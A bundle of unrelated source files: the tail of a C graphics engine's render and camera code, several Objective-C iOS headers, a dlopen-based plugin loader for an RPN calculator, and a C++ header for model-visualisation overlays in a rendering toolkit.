r.prepare(cnt); global_idx += cog_sprite_draw_layer(i, tex_id, global_idx); global_idx += cog_anim_draw_layer(i, tex_id, global_idx); r.draw(); } } cog_rect_draw_layer(i); cog_text_draw_layer(i); } if(r.custom_render != NULL) { r.custom_render(); } r.flush(); } void cog_graphics_cam_set(cog_pos2* pos) { camera_pos = (*pos); } void cog_graphics_cam_get(cog_pos2* pos) { (*pos) = camera_pos; } void cog_graphics_cam_vel_set(cog_vec2* vel) { camera_vel = (*vel); } void cog_graphics_cam_vel_get(cog_vec2* vel) { (*vel) = camera_vel; } uint32_t cog_graphics_gen_tex_id() { uint32_t* tex_id = cog_malloc(sizeof(uint32_t)); (*tex_id) = r.gen_tex_id(); char buf[COG_MAX_BUF]; sprintf(buf, "tex_%d", (*tex_id)); cog_map_put_hash(&sprite_cache, buf, (cog_dataptr)tex_id); cog_list_append(&texture_list, (cog_dataptr)tex_id); cog_debugf("Inserting tex_id %d into list for tex %s", *tex_id, buf); return (*tex_id); }
// // MessageInfoViewController.h // Prototype // // Created by Ivo Peric on 31/08/15. // Copyright (c) 2015 Clover Studio. All rights reserved. // #import <UIKit/UIKit.h> #import "CSBaseViewController.h" @interface CSMessageInfoViewController : CSBaseViewController @property (weak, nonatomic) IBOutlet UILabel *senderValue; @property (weak, nonatomic) IBOutlet UILabel *sentAtValue; @property (weak, nonatomic) IBOutlet UITableView *tableView; - (IBAction)deleteMessage:(id)sender; @property (weak, nonatomic) IBOutlet UIButton *deleteMessageButton; @property (nonatomic, strong) CSMessageModel* message; -(id)initWithMessage:(CSMessageModel *)message andUser: (CSUserModel*) user; @end
// // UnityTouchRecorderPlugin.h // Unity-iPhone // // Created by thedoritos on 1/22/17. // // #import <Foundation/Foundation.h> @interface UnityTouchRecorderPlugin : NSObject @end
// // MKTableBase.h // TgxIM // // Created by zhuwh on 16/5/13. // Copyright © 2016年 mark. All rights reserved. // #import <Foundation/Foundation.h> #import "FMDB.h" #import "MKRecord.h" @protocol MKTableBaseProtocol <NSObject> @required - (NSString *)tableName; - (NSDictionary *)columnInfo; - (NSString*) contentUri; @optional - (Class) recordClass; - (BOOL) insertWithDatabase : (FMDatabase*) db values:(NSDictionary*)values; - (BOOL) insertWithDatabase : (FMDatabase*) db recordObject:(MKRecord*)object; - (int) deleteWithDatabase : (FMDatabase*) db whereClause:(NSString*)whereClause whereArgs:(NSArray *) whereArgs; - (int) deleteWithDatabase : (FMDatabase*) db recordObject:(MKRecord*)object; - (int) updateWithDatabase : (FMDatabase*) db values:(NSDictionary*)values whereClause:(NSString*)whereClause whereArgs:(NSArray*)whereArgs; - (int) updateWithDatabase : (FMDatabase*) db recordObject:(MKRecord*)object; - (NSArray*) queryWithDatabase:(FMDatabase*) db columns:(NSArray*)columns whereClause:(NSString*)whereClause whereArgs:(NSArray *) whereArgs sortOrder:(NSString*)sortOrder; - (void) settingsWithDatabase:(FMDatabase*) db createOrAlert:(BOOL)createOrAlert oldVersion:(uint32_t) oldV newVersion:(uint32_t) newV; @end @interface MKTableBase : NSObject @property(copy,nonatomic,readonly) NSString* tableUri; @property (weak,nonatomic,readonly) id<MKTableBaseProtocol> child; - (BOOL) onCreateWithDatabase : (FMDatabase*) db; - (BOOL) onAlterWithDatabase : (FMDatabase*) db oldVersion:(uint32_t) oldV newVersion:(uint32_t) newV; - (BOOL) onDropWithDatabase : (FMDatabase*) db; @end
#include "rpncalc.h" #include <string.h> #include <stdlib.h> #include <stdio.h> #include <dlfcn.h> struct rpn_plugin *rpn_get_set_plugin_root(struct rpn_plugin *root) { static struct rpn_plugin *p_root = NULL; if(p_root == NULL) p_root = root; return p_root; } struct rpn_plugin_functions *rpn_get_set_plugin_functions(struct rpn_plugin_functions *functions) { static struct rpn_plugin_functions *p_functions = NULL; if(p_functions == NULL) p_functions = functions; return p_functions; } struct rpn_plugin_info *rpn_plugin_info_create(char *name, char *author, char *description, double version) { struct rpn_plugin_info *pi = malloc(sizeof(struct rpn_plugin_info)); if(pi == NULL) return NULL; pi->version = version; // Copy the strings if(name == NULL) return NULL; pi->name = malloc((strlen(name) + 1)*sizeof(char)); if(pi->name == NULL) return NULL; strcpy(pi->name, name); if(author == NULL) return NULL; pi->author = malloc((strlen(author) + 1)*sizeof(char)); if(pi->author == NULL) return NULL; strcpy(pi->author, author); if(description == NULL) return NULL; pi->description = malloc((strlen(description) + 1)*sizeof(char)); if(pi->description == NULL) return NULL; strcpy(pi->description, description); return pi; } struct rpn_plugin *plugin_init(char *filename) { if(filename == NULL) return NULL; struct rpn_plugin *plugin = malloc(sizeof(struct rpn_plugin)); if(plugin == NULL) return NULL; plugin->handle = dlopen(filename, RTLD_LAZY); if(plugin->handle == NULL) { fprintf(stderr, "Error opening plugin at %s: %s", filename, dlerror()); free(plugin); return NULL; } // Bind the plugin main function dlerror(); plugin->plugin_main = (rpn_plugin_main_t)dlsym(plugin->handle, "rpn_plugin_main"); char *error = dlerror(); if(error != NULL) { fprintf(stderr, "Error opening plugin at %s: %s\n", filename, error); dlclose(plugin->handle); free(plugin); return NULL; } // Get the metadata dlerror(); rpn_plugin_info_t info_func = (rpn_plugin_info_t)dlsym(plugin->handle, "rpn_plugin_info"); char *error1 = dlerror(); if(error1 != NULL) { fprintf(stderr, "Error opening plugin at %s: %s\n", filename, error); dlclose(plugin->handle); free(plugin); return NULL; } plugin->plugin_info = info_func(&rpn_plugin_info_create); if(plugin->plugin_info == NULL) { fprintf(stderr, "Error opening plugin at %s: Error getting metadata.\n", filename); dlclose(plugin->handle); free(plugin); } // And we're done return plugin; } struct rpn_plugin *plugin_destroy(struct rpn_plugin *plugin) { if(plugin == NULL) return NULL; dlclose(plugin->handle); free(plugin->plugin_info->name); free(plugin->plugin_info->author); free(plugin->plugin_info->description); free(plugin->plugin_info); struct rpn_plugin *next = plugin->next; free(plugin); return next; }
// // BSLayout.h // MultiImageLab // // Created by LF on 15/6/1. // Copyright (c) 2015年 Beauty Sight Network Technology Co.,Ltd. All rights reserved. // #import <Foundation/Foundation.h> #import <UIKit/UIKit.h> #define BasicRectLength(view) (view.frame.size.width - 90) / 6 #define Padding 10 #define RectMap 6 typedef enum { BSLayoutMovingTypeX = 0, BSLayoutMovingTypeY }BSLayoutMovingType; typedef enum { BSLayoutSizingTypeWidth = 0, BSLayoutSizingTypeHeight }BSLayoutSizingType; @class BSGridPosition; @interface BSPositionTranslator : NSObject @property (nonatomic,assign) CGFloat referenceYByPix; - (instancetype)initWithBackground:(UIView *)background padding:(CGFloat)padding GridCountInUnscrollDirection:(NSInteger)gridCountInUnscrollDirection; //+ (NSInteger)cellSizingInMapWithBackground:(UIView *)background andSizingType:(BSLayoutSizingType)type andMovingObject:(CGFloat)obj; //+ (CGFloat)resizeViewInMapWithLength:(NSInteger)sideLength andBackground:(UIView *)background; //+ (NSInteger)cellMovingInMapWithBackground:(UIView *)background andMovingType:(BSLayoutMovingType)type andMovingObject:(CGFloat)obj; //+ (CGFloat)relocateViewInMapWithAxis:(NSInteger)axis andBackground:(UIView *)background; - (CGPoint) translateToAbsPosition:(BSGridPosition *) gridPosition; @end
// Copyright 2015 XLGAMES Inc. // // Distributed under the MIT License (See // accompanying file "LICENSE" or the website // http://www.opensource.org/licenses/mit-license.php) #pragma once #include "../../PlatformRig/OverlaySystem.h" #include "../../Assets/Assets.h" #include "../../RenderCore/Assets/ModelCache.h" namespace RenderCore { namespace Assets { class IModelFormat; class ModelRenderer; class SharedStateSet; class ModelScaffold; class MaterialScaffold; }} namespace RenderCore { namespace Techniques { class TechniqueContext; class CameraDesc; }} namespace SceneEngine { class ISceneParser; class IntersectionTestScene; } namespace ToolsRig { class VisCameraSettings; class VisEnvSettings; class ChangeEvent { public: std::vector<std::shared_ptr<OnChangeCallback>> _callbacks; void Trigger(); ~ChangeEvent(); }; /// <summary>Settings related to the visualisation of a model</summary> /// This is a "model" part of a MVC pattern related to the way a model /// is presented in a viewport. Typically some other controls might /// write to this when something changes (for example, if a different /// model is selected to be viewed). /// The settings could come from anywhere though -- it's purposefully /// kept free of dependencies so that it can be driven by different sources. /// We have a limited set of different rendering options for special /// visualisation modes, etc. class ModelVisSettings { public: std::string _modelName; std::string _materialName; std::shared_ptr<VisCameraSettings> _camera; bool _pendingCameraAlignToModel; bool _doHighlightWireframe; std::pair<Float3, Float3> _highlightRay; float _highlightRayWidth; unsigned _colourByMaterial; bool _drawNormals; bool _drawWireframe; ChangeEvent _changeEvent; ModelVisSettings(); }; class VisMouseOver { public: bool _hasMouseOver; Float3 _intersectionPt; unsigned _drawCallIndex; uint64 _materialGuid; ChangeEvent _changeEvent; VisMouseOver() : _hasMouseOver(false), _intersectionPt(Zero<Float3>()) , _drawCallIndex(0), _materialGuid(0) {} }; class ModelVisLayer : public PlatformRig::IOverlaySystem { public: virtual std::shared_ptr<IInputListener> GetInputListener(); virtual void RenderToScene( RenderCore::IThreadContext* context, SceneEngine::LightingParserContext& parserContext); virtual void RenderWidgets( RenderCore::IThreadContext* context, const RenderCore::Techniques::ProjectionDesc& projectionDesc); virtual void SetActivationState(bool newState); ModelVisLayer( std::shared_ptr<ModelVisSettings> settings, std::shared_ptr<VisEnvSettings> envSettings, std::shared_ptr<RenderCore::Assets::ModelCache> cache); ~ModelVisLayer(); protected: class Pimpl; std::unique_ptr<Pimpl> _pimpl; }; class VisualisationOverlay : public PlatformRig::IOverlaySystem { public: virtual std::shared_ptr<IInputListener> GetInputListener(); virtual void RenderToScene( RenderCore::IThreadContext* context, SceneEngine::LightingParserContext& parserContext); virtual void RenderWidgets( RenderCore::IThreadContext* context, const RenderCore::Techniques::ProjectionDesc& projectionDesc); virtual void SetActivationState(bool newState); VisualisationOverlay( std::shared_ptr<ModelVisSettings> settings, std::shared_ptr<RenderCore::Assets::ModelCache> cache, std::shared_ptr<VisMouseOver> mouseOver); ~VisualisationOverlay(); protected: class Pimpl; std::unique_ptr<Pimpl> _pimpl; }; class MouseOverTrackingOverlay : public PlatformRig::IOverlaySystem { public: virtual std::shared_ptr<IInputListener> GetInputListener(); virtual void RenderToScene( RenderCore::IThreadContext* context, SceneEngine::LightingParserContext& parserContext); virtual void RenderWidgets( RenderCore::IThreadContext* context, const RenderCore::Techniques::ProjectionDesc& projectionDesc); virtual void SetActivationState(bool newState); MouseOverTrackingOverlay( std::shared_ptr<VisMouseOver> mouseOver, std::shared_ptr<RenderCore::IThreadContext> threadContext, std::shared_ptr<RenderCore::Techniques::TechniqueContext> techniqueContext, std::shared_ptr<VisCameraSettings> camera, std::shared_ptr<SceneEngine::IntersectionTestScene> scene); ~MouseOverTrackingOverlay(); protected: std::shared_ptr<IInputListener> _inputListener; std::shared_ptr<VisCameraSettings> _camera; }; std::unique_ptr<SceneEngine::ISceneParser> CreateModelScene(const RenderCore::Assets::ModelCache::Model& model); std::shared_ptr<SceneEngine::IntersectionTestScene> CreateModelIntersectionScene( std::shared_ptr<ModelVisSettings> settings, std::shared_ptr<RenderCore::Assets::ModelCache> cache); }